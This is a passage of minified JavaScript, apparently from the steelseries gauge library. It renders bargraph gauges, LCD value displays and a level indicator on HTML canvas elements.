tu=!1,pi=u,wi=s,bi=s-u,ou=wi-pi,ai=0,vt=0,ti=10,hu=10,yu=function(){su?(bi=c(s-u,!1),vt=c(bi/(hu-1),!0),pi=Math.floor(u/vt)*vt,wi=Math.ceil(s/vt)*vt,ai=c(vt/(ti-1),!0),u=pi,s=wi,ou=s-u):(bi=s-u,pi=u,wi=s,ou=bi,ai=1,vt=10)},fi=t(y,w),uu=fi.getContext(\"2d\"),hi=t(y,w),nt=hi.getContext(\"2d\"),di,g=r.createElement(\"canvas\");h?(g.width=f*.121428,g.height=e*.012135):(g.width=f*.012135,g.height=e*.121428),li=g.getContext(\"2d\"),d=r.createElement(\"canvas\"),h?(d.width=f*.121428,d.height=e*.012135):(d.width=f*.012135,d.height=e*.121428);var eu=d.getContext(\"2d\"),ni=t(ut,ut),nr=ni.getContext(\"2d\"),pt=t(ut,ut),tr=pt.getContext(\"2d\"),gt=pt,ci=t(rt,rt),gr=ci.getContext(\"2d\"),ii=t(rt,rt),nu=ii.getContext(\"2d\"),ui=t(y,w),yr=ui.getContext(\"2d\"),nf=function(n,t,i){n.save(),n.textAlign=\"right\",n.textBaseline=\"middle\",n.strokeStyle=kt.textColor,n.fillStyle=kt.textColor,(kt===steelseries.LcdColor.STANDARD||kt===steelseries.LcdColor.STANDARD_GREEN)&&(n.shadowColor=\"gray\",i?(n.shadowOffsetX=f*.007,n.shadowOffsetY=f*.007,n.shadowBlur=f*.009):(n.shadowOffsetX=e*.007,n.shadowOffsetY=e*.007,n.shadowBlur=e*.009));var o,u,r;n.font=wu?cr:hr,i?(o=(f-f*.571428)/2+1+f*.571428-2,u=e*.88+1+(e*.055-2)/2,r=f*.7-2):(o=f*.695+f*.18-2,u=e*.22+1+(e*.15-2)/2,r=e*.22-2),n.fillText(t.toFixed(pr),o,u,r),n.restore()},gu=function(n){var i=r.createElement(\"canvas\"),t,u;return i.height=i.width=rt,t=i.getContext(\"2d\"),t.save(),u=t.createLinearGradient(0,.1,0,i.height*.9),u.addColorStop(0,\"#520000\"),u.addColorStop(.3,\"#fc1d00\"),u.addColorStop(.59,\"#fc1d00\"),u.addColorStop(1,\"#520000\"),t.fillStyle=u,n?(t.beginPath(),t.moveTo(.1,i.height*.5),t.lineTo(i.width*.9,.1),t.lineTo(i.width*.9,i.height*.9),t.closePath()):(t.beginPath(),t.moveTo(.1,.1),t.lineTo(i.width*.9,.1),t.lineTo(i.width*.5,i.height*.9),t.closePath()),t.fill(),t.strokeStyle=\"#FFFFFF\",t.stroke(),t.restore(),i},du=function(n,t,i){var o,y;k.labelColor.setAlpha(1),n.save(),n.textBaseline=\"middle\",o=f*.1,n.strokeStyle=k.labelColor.getRgbaColor(),n.fillStyle=k.labelColor.getRgbaColor();var r=u,l=ti-1,d,b,g,c,h=1,tt,nt,a,v,w,p;for(i?(tt=.34*f,nt=.36*f,a=.33*f,v=.36*f,w=.32*f,p=.36*f,n.textAlign=\"right\",d=0,b=e*.12864,g=0,c=e*.856796-e*.12864,h=c/(s-u)):(tt=.65*e,nt=.63*e,a=.66*e,v=.63*e,w=.67*e,p=.63*e,n.textAlign=\"center\",d=f*.142857,b=0,g=f*.871012-f*.142857,c=0,h=g/(s-u)),y=u,tickCounter=0;y<=s;y+=ai,tickCounter+=ai){currentPos=i?b+c-tickCounter*h:d+tickCounter*h,l++;if(l===ti){n.lineWidth=1.5,ir(n,w,p,currentPos,i);if(i)switch(t.format){case\"fractional\":n.fillText(r.toFixed(2),f*.28,currentPos,o);break;case\"scientific\":n.fillText(r.toPrecision(2),f*.28,currentPos,o);break;case\"standard\":default:n.fillText(r.toFixed(0),f*.28,currentPos,o)}else switch(t.format){case\"fractional\":n.fillText(r.toFixed(2),currentPos,e*.73,o);break;case\"scientific\":n.fillText(r.toPrecision(2),currentPos,e*.73,o);break;case\"standard\":default:n.fillText(r.toFixed(0),currentPos,e*.73,o)}r+=vt,l=0;continue}0==ti%2&&l===ti/2?(n.lineWidth=1,ir(n,a,v,currentPos,i)):(n.lineWidth=.5,ir(n,tt,nt,currentPos,i))}n.restore()},ir=function(n,t,i,r,u){u?(n.beginPath(),n.moveTo(t,r),n.lineTo(i,r),n.closePath(),n.stroke()):(n.beginPath(),n.moveTo(r,t),n.lineTo(r,i),n.closePath(),n.stroke())},b=function(n){var i,t,r,l,c,v;n=n||{};var b=undefined===n.frame?!1:n.frame,y=undefined===n.background?!1:n.background,g=undefined===n.led?!1:n.led,d=undefined===n.foreground?!1:n.foreground,w=undefined===n.bargraphled?!1:n.bargraphled;tu=!0,yu(),b&&kr&&ht(uu,dr,f,e,h),y&&or&&ot(nt,k,f,e,h),g&&(h?(nr.drawImage(o(ut,1,si),0,0),tr.drawImage(o(ut,0,si),0,0)):(nr.drawImage(o(ut,1,si),0,0),tr.drawImage(o(ut,0,si),0,0))),lr&&(h?gr.drawImage(a(rt,steelseries.ColorDef.BLUE.dark.getRgbaColor(),!1,h),0,0):gr.drawImage(a(rt,steelseries.ColorDef.BLUE.dark.getRgbaColor(),!1,h),0,0)),fr&&(h?nu.drawImage(a(rt,steelseries.ColorDef.RED.medium.getRgbaColor(),!1,h),0,0):nu.drawImage(a(rt,steelseries.ColorDef.RED.medium.getRgbaColor(),!1,h),0,0)),y&&or&&(du(nt,bu,h),wr&&(nt.save(),h?(i=e*.856796-e*.728155*(st/(s-u)),nt.translate(f*.365,i-rt/2)):(i=(f*.856796-f*.12864)*st/(s-u),nt.translate(f*.142857-rt/2+i,e*.58)),nt.drawImage(gu(h),0,0),nt.restore()),h?ct(nt,f,e,ar,rr,k,h,null,gi):ct(nt,f,e,ar,rr,k,h,null,gi)),y&&gi&&(h?(di=p(f*.571428,e*.055,kt),nt.drawImage(di,(f-f*.571428)/2,e*.88)):(di=p(f*.18,e*.15,kt),nt.drawImage(di,f*.695,e*.22))),w&&(cu(eu),vr(li,ei)),ri=!1;if(null!==bt&&0<bt.length){ri=!0,t=bt.length,h?(r=e*.12864,l=e*.856796,c=l-r,v=0):(r=f*.856796,l=f*.12864,c=r-l,v=f*.012135/2),ft=[];do t--,ft.push({start:(bt[t].start+Math.abs(u))/(s-u)*c-v,stop:(bt[t].stop+Math.abs(u))/(s-u)*c-v,color:wt(bt[t].color)});while(0<t)}ki=!1,pu&&yt!==null&&(ri=!1,ki=!0),d&&fu&&et(yr,f,e,h,!1)},yi=function(n){n=n||{};var u=undefined===n.frame?!1:n.frame,f=undefined===n.background?!1:n.background,r=undefined===n.led?!1:n.led,t=undefined===n.bargraphled?!1:n.bargraphled,i=undefined===n.foreground?!1:n.foreground;u&&(fi.width=y,fi.height=w,uu=fi.getContext(\"2d\")),f&&(hi.width=y,hi.height=w,nt=hi.getContext(\"2d\")),t&&(h?(g.width=y*.121428,g.height=w*.012135):(g.width=y*.012135,g.height=w*.121428),li=g.getContext(\"2d\"),h?(d.width=y*.121428,d.height=w*.012135):(d.width=y*.012135,d.height=w*.121428),eu=d.getContext(\"2d\")),r&&(ni.width=Math.ceil(y*.093457),ni.height=Math.ceil(w*.093457),nr=ni.getContext(\"2d\"),pt.width=Math.ceil(y*.093457),pt.height=Math.ceil(w*.093457),tr=pt.getContext(\"2d\"),gt=pt),i&&(ui.width=y,ui.height=w,yr=ui.getContext(\"2d\"))},vi=function(n){n?ru=setInterval(au,1e3):clearInterval(ru)},au=function(){br&&(gt=gt===ni?pt:ni,ku.repaint())},vu=function(n,t,i){var v,ot,f=k.labelColor,r,bt,ti,ut,et,vt,gt,ni,pt,dt,kt,lt,ct,w,y,rt,it,p,nt,b,tt,ii,ui,ht,at,e,o,a,st,c;h?(v=i*.12864,ot=i*.856796,r=ot-v,bt=r*(l-u)/(s-u),ti=v+r-bt,ut=0,et=v,vt=0,gt=v+r*1.014):(v=t*.856796,ot=t*.12864,r=v-ot,bt=r*(l-u)/(s-u),ti=ot,ut=t*.13,et=i*.435714,vt=ut+r*1.035,gt=et),y=k===steelseries.BackgroundColor.CARBON||k===steelseries.BackgroundColor.PUNCHED_SHEET||k===steelseries.BackgroundColor.STAINLESS||k===steelseries.BackgroundColor.BRUSHED_STAINLESS||k===steelseries.BackgroundColor.TURNED?.3:0,rt=n.createLinearGradient(ut,et,vt,gt),f.setAlpha(.047058+y),rt.addColorStop(0,f.getRgbaColor()),f.setAlpha(.145098+y),rt.addColorStop(.48,f.getRgbaColor()),f.setAlpha(.149019+y),rt.addColorStop(.49,f.getRgbaColor()),f.setAlpha(.047058+y),rt.addColorStop(1,f.getRgbaColor()),n.fillStyle=rt,h?n.fillRect(t*.435714,v,t*.15,r*1.014):n.fillRect(ut,et,r*1.035,i*.152857),h?(ni=0,pt=v,dt=0,kt=v+r*1.014):(ni=ut,pt=0,dt=vt,kt=0),it=n.createLinearGradient(ni,pt,dt,kt),f.setAlpha(.298039+y),it.addColorStop(0,f.getRgbaColor()),f.setAlpha(.686274+y),it.addColorStop(.48,f.getRgbaColor()),f.setAlpha(.698039+y),it.addColorStop(.49,f.getRgbaColor()),f.setAlpha(.4+y),it.addColorStop(1,f.getRgbaColor()),n.fillStyle=it,h?(n.fillRect(t*.435714,v,t*.007142,r*1.014),n.fillRect(t*.571428,v,t*.007142,r*1.014)):(n.fillRect(t*.13,i*.435714,r*1.035,i*.007142),n.fillRect(t*.13,i*.571428,r*1.035,i*.007142)),h?(p=t*.45,nt=i*.851941,b=t*.121428,tt=i*.012135,ii=(p+b)/2,ui=(nt+tt)/2):(p=t*.142857,nt=i*.45,b=t*.012135,tt=i*.121428,ii=(p+b)/2,ui=(nt+tt)/2),st=ei;if(h){for(at=(s+Math.abs(u))/(s-u)*r,o=0;o<=at;o+=tt+1)n.translate(0,-o),n.drawImage(d,p,nt),n.translate(0,o);for(ht=(l+Math.abs(u))/(s-u)*r,o=0;o<=ht;o+=tt+1){a=ei;if(ki)lt=u+o/r*(s-u),ct=yt.getEnd()-yt.getStart(),w=lt/ct,w=Math.max(Math.min(w,1),0),a=wt(yt.getColorAt(w).getRgbaColor());else if(ri)for(c=0;c<ft.length;c++)if(o>=ft[c].start&&o<ft[c].stop){a=ft[c].color;break}st.medium.getHexColor()!==a.medium.getHexColor()&&(vr(li,a),st=a),n.translate(0,-o),n.drawImage(g,p,nt),n.translate(0,o)}}else{for(at=(s+Math.abs(u))/(s-u)*r,e=-(b/2);e<=at;e+=b+1)n.translate(e,0),n.drawImage(d,p,nt),n.translate(-e,0);for(ht=(l+Math.abs(u))/(s-u)*r,e=-(b/2);e<=ht;e+=b+1){a=ei;if(ki)lt=u+e/r*(s-u),ct=yt.getEnd()-yt.getStart(),w=lt/ct,w=Math.max(Math.min(w,1),0),a=wt(yt.getColorAt(w).getRgbaColor());else if(ri)for(c=0;c<ft.length;c++)if(e>=ft[c].start&&e<ft[c].stop){a=ft[c].color;break}st.medium.getHexColor()!==a.medium.getHexColor()&&(vr(li,a),st=a),n.translate(e,0),n.drawImage(g,p,nt),n.translate(-e,0)}}},cu=function(n){n.save(),n.beginPath(),n.rect(0,0,n.canvas.width,n.canvas.height),n.closePath();var i=n.canvas.width/2,r=n.canvas.height/2,t=v.createRadialGradient(i,r,0,i,r,n.canvas.width/2);t.addColorStop(0,\"#3c3c3c\"),t.addColorStop(1,\"#323232\"),n.fillStyle=t,n.fill(),n.restore()},vr=function(n,t){var r,f,u,i;n.save(),n.beginPath(),n.rect(0,0,n.canvas.width,n.canvas.height),n.closePath(),r=n.canvas.width/2,f=n.canvas.height/2,u=h?n.canvas.width/2:n.canvas.height/2,i=v.createRadialGradient(r,f,0,r,f,u),i.addColorStop(0,t.light.getRgbaColor()),i.addColorStop(1,t.dark.getRgbaColor()),n.fillStyle=i,n.fill(),n.restore()};return this.setValue=function(n){var t=n<u?u:n>s?s:n;l!==t&&(l=t,l>lt&&(lt=l),l<at&&(at=l),l<st||it?l<st&&(it=!1,vi(it),er&&oi.pause()):(it=!0,vi(it),er&&oi.play()),this.repaint())},this.getValue=function(){return l},this.setValueAnimated=function(n){var i=n<u?u:n>s?s:n,t;l!==i&&(undefined!==dt&&dt.playing&&dt.stop(),dt=new Tween({},\"\",Tween.regularEaseInOut,l,i,1),t=this,dt.onMotionChanged=function(n){l=n.target._pos,l<st||it?l<st&&(it=!1,vi(it)):(it=!0,vi(it)),l>lt&&(lt=l),l<at&&(at=l),t.repaint()},dt.start())},this.resetMinMeasuredValue=function(){at=l,this.repaint()},this.resetMaxMeasuredValue=function(){lt=l,this.repaint()},this.setMinMeasuredValueVisible=function(n){lr=n,this.repaint()},this.setMaxMeasuredValueVisible=function(n){fr=n,this.repaint()},this.setThresholdVisible=function(n){wr=n,this.repaint()},this.setLcdDecimals=function(n){pr=n,this.repaint()},this.setFrameDesign=function(n){yi({frame:!0}),dr=n,b({frame:!0}),this.repaint()},this.setBackgroundColor=function(n){yi({background:!0}),k=n,b({background:!0}),this.repaint()},this.setValueColor=function(n){yi({bargraphled:!0}),ei=n,b({bargraphled:!0}),this.repaint()},this.setLedColor=function(n){yi({led:!0}),si=n,b({led:!0}),this.repaint()},this.setLcdColor=function(n){kt=n,b({background:!0}),this.repaint()},this.setSection=function(n){bt=n,b(),this.repaint()},this.setSectionActive=function(n){lu=n,b(),this.repaint()},this.setGradient=function(n){yt=n,b(),this.repaint()},this.setGradientActive=function(n){useGradient=n,b(),this.repaint()},this.setMaxMeasuredValue=function(n){var t=n<u?u:n>s?s:n;lt!==t&&(lt=t,this.repaint())},this.setMinMeasuredValue=function(n){var t=n<u?u:n>s?s:n;at!==t&&(at=t,this.repaint())},this.setTitleString=function(n){ar=n,b({background:!0}),this.repaint()},this.setUnitString=function(n){rr=n,b({background:!0}),this.repaint()},this.setMinValue=function(n){u=n,b({background:!0,foreground:!0,pointer:!0}),this.repaint()},this.getMinValue=function(){return u},this.setMaxValue=function(n){s!==n&&(s=n,b({background:!0,foreground:!0,pointer:!0}),this.repaint())},this.getMaxValue=function(){return s},this.setThreshold=function(n){var t=n<u?u:n>s?s:n;st!==t&&(st=t,b({background:!0}),this.repaint())},this.repaint=function(){tu||b({frame:!0,background:!0,led:!0,pointer:!0,foreground:!0,bargraphled:!0}),v.clearRect(0,0,v.canvas.width,v.canvas.height),kr&&v.drawImage(fi,0,0),or&&v.drawImage(hi,0,0),gi&&nf(v,l,h),br&&(l<st&&(it=!1,gt=pt),v.drawImage(gt,ur,sr));var n,i,t;lr&&(h?(n=e*.856796-e*.728155*(at/(s-u)),i=f*.34-ci.width,t=n-ci.height/2):(n=(f*.856796-f*.12864)*at/(s-u),i=f*.142857-ci.height/2+n,t=e*.65),v.drawImage(ci,i,t)),fr&&(h?(n=e*.856796-e*.728155*(lt/(s-u)),i=f*.34-ii.width,t=n-ii.height/2):(n=(f*.856796-f*.12864)*lt/(s-u),i=f*.142857-ii.height/2+n,t=e*.65),v.drawImage(ii,i,t)),v.save(),vu(v,f,e),v.restore(),fu&&v.drawImage(ui,0,0)},this.repaint(),this},dr=function(n,i){i=i||{};var b=undefined===i.width?128:i.width,y=undefined===i.height?48:i.height,w=undefined===i.lcdColor?steelseries.LcdColor.STANDARD:i.lcdColor,pt=undefined===i.lcdDecimals?2:i.lcdDecimals,lt=undefined===i.unitString?\"\":i.unitString,at=undefined===i.unitStringVisible?!1:i.unitStringVisible,ht=undefined===i.digitalFont?!1:i.digitalFont,bt=undefined===i.valuesNumeric?!0:i.valuesNumeric,a=undefined===i.value?0:i.value,ct=undefined===i.autoScroll?!1:i.autoScroll,f=undefined===i.section?null:i.section,c=!1,e=0,g,wt=this,u=r.getElementById(n).getContext(\"2d\");u.save(),u.clearRect(0,0,u.canvas.width,u.canvas.height),u.canvas.width=b,u.canvas.height=y;var o=b,h=y,l=0,v=Math.floor(h/1.5),ot=v+\"px sans-serif\",it=v+\"px \"+tt,nt=!1,rt,et=[],ut=[],kt=function(n,t){var r,i;u.save(),u.textAlign=\"right\",u.strokeStyle=t,u.fillStyle=t,u.beginPath(),u.rect(2,0,o-4,h),u.closePath(),u.clip(),u.font=ht?it:ot,bt?(r=0,l=0,at&&(u.font=Math.floor(h/2.5)+\"px sans-serif\",r=u.measureText(lt).width),u.font=ht?it:ot,i=n.toFixed(pt),l=u.measureText(i).width,u.fillText(i,o-r-4-e,h*.5+v*.38),at&&(u.font=Math.floor(h/2.5)+\"px sans-serif\",u.fillText(lt,o-2-e,h*.5+v*.38))):(l=u.measureText(n).width,ct&&l>o-4?c||(e=o-l-o*.2,c=!0,clearTimeout(g),g=setTimeout(d,200)):ct&&l<=o-4&&(e=0,c=!1),u.fillText(n,o-2-e,h*.5+v*.38)),u.restore()},dt=function(n,i,r,u){var it=t(n,i),f=it.getContext(\"2d\");f.save();var pt=0,d=0,kt=n,et=i,rt=Math.min(n,i)*.095,h=f.createLinearGradient(0,d,0,d+et);h.addColorStop(0,\"#4c4c4c\"),h.addColorStop(.08,\"#666666\"),h.addColorStop(.92,\"#666666\"),h.addColorStop(1,\"#e6e6e6\"),f.fillStyle=h,s(f,pt,d,kt,et,rt),f.fill(),f.restore(),f.save();var nt=ft(r),e=st(nt[0],nt[1],nt[2]),g=ft(u.gradientStartColor),ht=st(g[0],g[1],g[2]),tt=ft(u.gradientFraction1Color),lt=st(tt[0],tt[1],tt[2]),a=ft(u.gradientFraction2Color),ct=st(a[0],a[1],a[2]),v=ft(u.gradientFraction3Color),wt=st(v[0],v[1],v[2]),c=ft(u.gradientStopColor),yt=st(c[0],c[1],c[2]),l=vt(e[0],e[1],ht[2]-.31),y=vt(e[0],e[1],lt[2]-.31),k=vt(e[0],e[1],ct[2]-.31),p=vt(e[0],e[1],wt[2]-.31),w=vt(e[0],e[1],yt[2]-.31),bt=1,b=1,ot=n-2,ut=i-2,at=rt-1,o=f.createLinearGradient(0,b,0,b+ut);return o.addColorStop(0,\"rgb(\"+l[0]+\", \"+l[1]+\", \"+l[2]+\")\"),o.addColorStop(.03,\"rgb(\"+y[0]+\",\"+y[1]+\",\"+y[2]+\")\"),o.addColorStop(.49,\"rgb(\"+k[0]+\",\"+k[1]+\",\"+k[2]+\")\"),o.addColorStop(.5,\"rgb(\"+p[0]+\",\"+p[1]+\",\"+p[2]+\")\"),o.addColorStop(1,\"rgb(\"+w[0]+\",\"+w[1]+\",\"+w[2]+\")\"),f.fillStyle=o,s(f,bt,b,ot,ut,at),f.fill(),f.restore(),it},yt=function(n){var i=ft(n),r=st(i[0],i[1],i[2]),t=vt(r[0],.57,.83);return\"rgb(\"+t[0]+\", \"+t[1]+\", \"+t[2]+\")\"},d=function(){c?(e>o&&(e=-l),e+=2,g=setTimeout(d,60)):e=0,wt.repaint()},k=function(){var n;nt=!0,rt=p(b,y,w);if(null!==f&&0<f.length)for(n=0;n<f.length;n++)et[n]=dt(b,y,f[n].color,w),ut[n]=yt(f[n].color)};return this.setValue=function(n){a!==n&&(a=n,this.repaint())},this.setLcdColor=function(n){w=n,k(),this.repaint()},this.setSection=function(n){f=n,resetBuffers({foreground:!0}),k({background:!0,foreground:!0}),this.repaint()},this.setScrolling=function(n){if(n){if(c)return;c=n,d()}else c=n},this.repaint=function(){nt||k(),u.clearRect(0,0,u.canvas.width,u.canvas.height);var t=rt,i=w.textColor,n;if(null!==f&&0<f.length)for(n=0;n<f.length;n++)if(a>=f[n].start&&a<=f[n].stop){t=et[n],i=ut[n];break}u.drawImage(t,0,0),kt(a,i)},this.repaint(),this},wr=function(n,t){t=t||{};var h=undefined===t.width?128:t.width,c=undefined===t.height?64:t.height,f=undefined===t.lcdColor?steelseries.LcdColor.STANDARD:t.lcdColor,k=undefined===t.lcdDecimals?2:t.lcdDecimals,d=undefined===t.unitString?\"\":t.unitString,b=undefined===t.unitStringVisible?!1:t.unitStringVisible,w=undefined===t.digitalFont?!1:t.digitalFont,ut=undefined===t.valuesNumeric?!0:t.valuesNumeric,o=undefined===t.value?0:t.value,s=0,i=r.getElementById(n).getContext(\"2d\");i.save(),i.clearRect(0,0,i.canvas.width,i.canvas.height),i.canvas.width=h,i.canvas.height=c;var e=h,u=c,g=Math.floor(u/1.875)+\"px sans-serif\",it=Math.floor(u/1.875)+\"px \"+tt,y=Math.floor(u/3.5)+\"px sans-serif\",rt=Math.floor(u/3.5)+\"px \"+tt,v=!1,l,nt=function(n){var t,o,r;i.save(),i.textAlign=\"right\",i.textBaseline=\"middle\",i.strokeStyle=f.textColor,i.fillStyle=f.textColor,(f===steelseries.LcdColor.STANDARD||f===steelseries.LcdColor.STANDARD_GREEN)&&(i.shadowColor=\"gray\",i.shadowOffsetX=u*.05,i.shadowOffsetY=u*.05,i.shadowBlur=u*.06),ut?(i.font=Math.floor(u/2.5)+\"px sans-serif\",t=0,b&&(i.font=Math.floor(u/2.5)+\"px sans-serif\",t=i.measureText(d).width),i.font=w?it:g,o=n.toFixed(k),i.fillText(o,e-t-4,u*.38),b&&(i.font=Math.floor(u/3)+\"px sans-serif\",i.fillText(d,e-2,u*.46)),r=s.toFixed(k),i.font=w?rt:y,i.textAlign=\"center\",i.fillText(r,e/2,u*.8)):(i.font=Math.floor(u/2.5)+\"px sans-serif\",i.fillText(n,e-2,u*.38),i.font=y,i.textAlign=\"center\",i.fillText(s,e/2,u*.8)),i.restore()},a=function(){v=!0,l=p(h,c,f)};return this.setValue=function(n){(o!==n||s!==n)&&(s=o,o=n,this.repaint())},this.setLcdColor=function(n){f=n,a(),this.repaint()},this.repaint=function(){v||a(),i.clearRect(0,0,i.canvas.width,i.canvas.height),i.drawImage(l,0,0),nt(o)},this.repaint(),this},br=function(n,u){u=u||{};var c=undefined===u.size?200:u.size,st=undefined===u.decimalsVisible?!1:u.decimalsVisible,gt=undefined===u.textOrientationFixed?!1:u.textOrientationFixed,bt=undefined===u.frameDesign?steelseries.FrameDesign.METAL:u.frameDesign,at=undefined===u.frameVisible?!0:u.frameVisible,p=undefined===u.backgroundColor?steelseries.BackgroundColor.DARK_GRAY:u.backgroundColor,vt=undefined===u.backgroundVisible?!0:u.backgroundVisible,b=undefined===u.pointerColor?steelseries.ColorDef.RED:u.pointerColor,lt=undefined===u.foregroundType?steelseries.ForegroundType.TYPE1:u.foregroundType,yt=undefined===u.foregroundVisible?!0:u.foregroundVisible,d,e=0,k=0,h=0,kt=Math.PI/180,ot=this.value,wt=st?1:0,s=r.getElementById(n).getContext(\"2d\");s.save(),s.clearRect(0,0,s.canvas.width,s.canvas.height),s.canvas.width=c,s.canvas.height=c;var f=c,o=c,l=f/2,a=o/2,pt=!1,g=t(c,c),ut=g.getContext(\"2d\"),nt=t(c,c),et=nt.getContext(\"2d\"),rt=t(c,c),ht=rt.getContext(\"2d\"),tt=t(c,c),ct=tt.getContext(\"2d\"),ni=function(n){n.textAlign=\"center\",n.textBaseline=\"middle\",n.save(),n.strokeStyle=p.labelColor.getRgbaColor(),n.fillStyle=p.labelColor.getRgbaColor(),n.translate(l,a);var r,t;for(i=0;360>i;i++){n.strokeStyle=p.labelColor.getRgbaColor(),n.lineWidth=.5,n.beginPath(),n.moveTo(f*.38,0),n.lineTo(f*.37,0),n.closePath(),n.stroke(),0==i%5&&(n.strokeStyle=p.labelColor.getRgbaColor(),n.lineWidth=1,n.beginPath(),n.moveTo(f*.38,0),n.lineTo(f*.36,0),n.closePath(),n.stroke()),0==i%45&&(n.strokeStyle=p.labelColor.getRgbaColor(),n.lineWidth=1,n.beginPath(),n.moveTo(f*.38,0),n.lineTo(f*.34,0),n.closePath(),n.stroke()),300<f&&(r=\"14px sans-serif\",t=\"12px sans-serif\"),300<f||(r=\"12px sans-serif\",t=\"10px sans-serif\"),200<f||(r=\"10px sans-serif\",t=\"8px sans-serif\"),100<f||(r=\"8px sans-serif\",t=\"6px sans-serif\"),n.save();switch(i){case 0:n.translate(f*.31,0),n.rotate(i*Math.PI/180+Math.PI/2),n.font=r,n.fillText(\"0\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)+Math.PI/2),n.translate(-f*.31,0),n.translate(f*.41,0),n.rotate(i*Math.PI/180-Math.PI/2),n.font=t,n.fillText(\"0%\",0,0,f);break;case 45:n.translate(f*.31,0),n.rotate(i*Math.PI/180+.25*Math.PI),n.font=r,n.fillText(\"45\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)+.25*Math.PI),n.translate(-f*.31,0),n.translate(f*.31,f*.085),n.rotate(i*Math.PI/180-.25*Math.PI),n.font=t,n.fillText(\"100%\",0,0,f);break;case 90:n.translate(f*.31,0),n.rotate(i*Math.PI/180),n.font=r,n.fillText(\"90\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)),n.translate(-f*.31,0),n.translate(f*.21,0),n.rotate(i*Math.PI/180),n.font=t,n.fillText(\"\\u221e\",0,0,f);break;case 135:n.translate(f*.31,0),n.rotate(i*Math.PI/180-.25*Math.PI),n.font=r,n.fillText(\"45\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)-.25*Math.PI),n.translate(-f*.31,0),n.translate(f*.31,-f*.085),n.rotate(i*Math.PI/180+.25*Math.PI),n.font=t,n.fillText(\"100%\",0,0,f);break;case 180:n.translate(f*.31,0),n.rotate(i*Math.PI/180-Math.PI/2),n.font=r,n.fillText(\"0\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)-Math.PI/2),n.translate(-f*.31,0),n.translate(f*.41,0),n.rotate(i*Math.PI/180+Math.PI/2),n.font=t,n.fillText(\"0%\",0,0,f),n.translate(-f*.41,0);break;case 225:n.translate(f*.31,0),n.rotate(i*Math.PI/180-.75*Math.PI),n.font=r,n.fillText(\"45\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)-.75*Math.PI),n.translate(-f*.31,0),n.translate(f*.31,f*.085),n.rotate(i*Math.PI/180+.75*Math.PI),n.font=t,n.fillText(\"100%\",0,0,f);break;case 270:n.translate(f*.31,0),n.rotate(i*Math.PI/180-Math.PI),n.font=r,n.fillText(\"90\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)-Math.PI),n.translate(-f*.31,0),n.translate(f*.21,0),n.rotate(i*Math.PI/180-Math.PI),n.font=t,n.fillText(\"\\u221e\",0,0,f);break;case 315:n.translate(f*.31,0),n.rotate(i*Math.PI/180-1.25*Math.PI),n.font=r,n.fillText(\"45\\u00b0\",0,0,f),n.rotate(-(i*Math.PI/180)-1.25*Math.PI),n.translate(-f*.31,0),n.translate(f*.31,-f*.085),n.rotate(i*Math.PI/180+1.25*Math.PI),n.font=t,n.fillText(\"100%\",0,0,f)}n.restore(),n.rotate(kt)}n.translate(-l,-a),n.restore()},ti=function(n){n.save(),n.strokeStyle=p.labelColor.getRgbaColor(),n.fillStyle=p.labelColor.getRgbaColor(),n.save(),n.beginPath(),n.moveTo(f*.200934,o*.434579),n.lineTo(f*.163551,o*.434579),n.lineTo(f*.163551,o*.560747),n.lineTo(f*.200934,o*.560747),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.stroke(),n.save(),n.beginPath(),n.moveTo(f*.163551,o*.471962),n.lineTo(f*.205607,o*.5),n.lineTo(f*.163551,o*.523364),n.lineTo(f*.163551,o*.471962),n.closePath(),n.fill(),n.save(),n.beginPath(),n.moveTo(f*.799065,o*.434579),n.lineTo(f*.836448,o*.434579),n.lineTo(f*.836448,o*.560747),n.lineTo(f*.799065,o*.560747),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.stroke(),n.save(),n.beginPath(),n.moveTo(f*.836448,o*.471962),n.lineTo(f*.794392,o*.5),n.lineTo(f*.836448,o*.523364),n.lineTo(f*.836448,o*.471962),n.closePath(),n.fill(),n.restore()},ii=function(n){var u;n.save(),n.save(),n.beginPath(),n.moveTo(f*.523364,o*.350467),n.lineTo(f*.5,o*.130841),n.lineTo(f*.476635,o*.350467),n.bezierCurveTo(f*.476635,o*.350467,f*.490654,o*.345794,f*.5,o*.345794),n.bezierCurveTo(f*.509345,o*.345794,f*.523364,o*.350467,f*.523364,o*.350467),n.closePath();var t=n.createLinearGradient(0,.154205*o,0,.350466*o),r=b.dark,i=b.light;r.setAlpha(.70588),i.setAlpha(.70588),t.addColorStop(0,r.getRgbaColor()),t.addColorStop(.3,i.getRgbaColor()),t.addColorStop(.59,i.getRgbaColor()),t.addColorStop(1,r.getRgbaColor()),n.fillStyle=t,u=b.light.getRgbaColor(),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.strokeStyle=u,n.fill(),n.stroke(),r.setAlpha(1),i.setAlpha(1),n.restore()},dt=function(n){var i,t,u,s,r,e;n.save(),i=b.dark,t=b.light,i.setAlpha(.70588),t.setAlpha(.70588),n.save(),n.beginPath(),n.moveTo(f*.285046,o*.514018),n.lineTo(f*.21028,o*.5),n.lineTo(f*.285046,o*.481308),n.bezierCurveTo(f*.285046,o*.481308,f*.280373,o*.490654,f*.280373,o*.495327),n.bezierCurveTo(f*.280373,o*.504672,f*.285046,o*.514018,f*.285046,o*.514018),n.closePath(),u=n.createLinearGradient(.224299*f,0,.289719*f,0),u.addColorStop(0,i.getRgbaColor()),u.addColorStop(.3,t.getRgbaColor()),u.addColorStop(.59,t.getRgbaColor()),u.addColorStop(1,i.getRgbaColor()),n.fillStyle=u,s=b.light.getRgbaColor(),n.lineWidth=1,n.lineCap=\"square\",n.lineJoin=\"miter\",n.strokeStyle=s,n.fill(),n.stroke(),n.save(),n.beginPath(),n.moveTo(f*.714953,o*.514018),n.lineTo(f*.789719,o*.5),n.lineTo(f*.714953,o*.481308),n.bezierCurveTo(f*.714953,o*.481308,f*.719626,o*.490654,f*.719626,o*.495327),n.bezierCurveTo(f*.719626,o*.504672,f*.714953,o*.514018,f*.714953,o*.514018),n.closePath(),r=n.createLinearGradient(.7757*f,0,.71028*f,0),r.addColorStop(0,i.getRgbaColor()),r.addColorStop(.3,t.getRgbaColor()),r.addC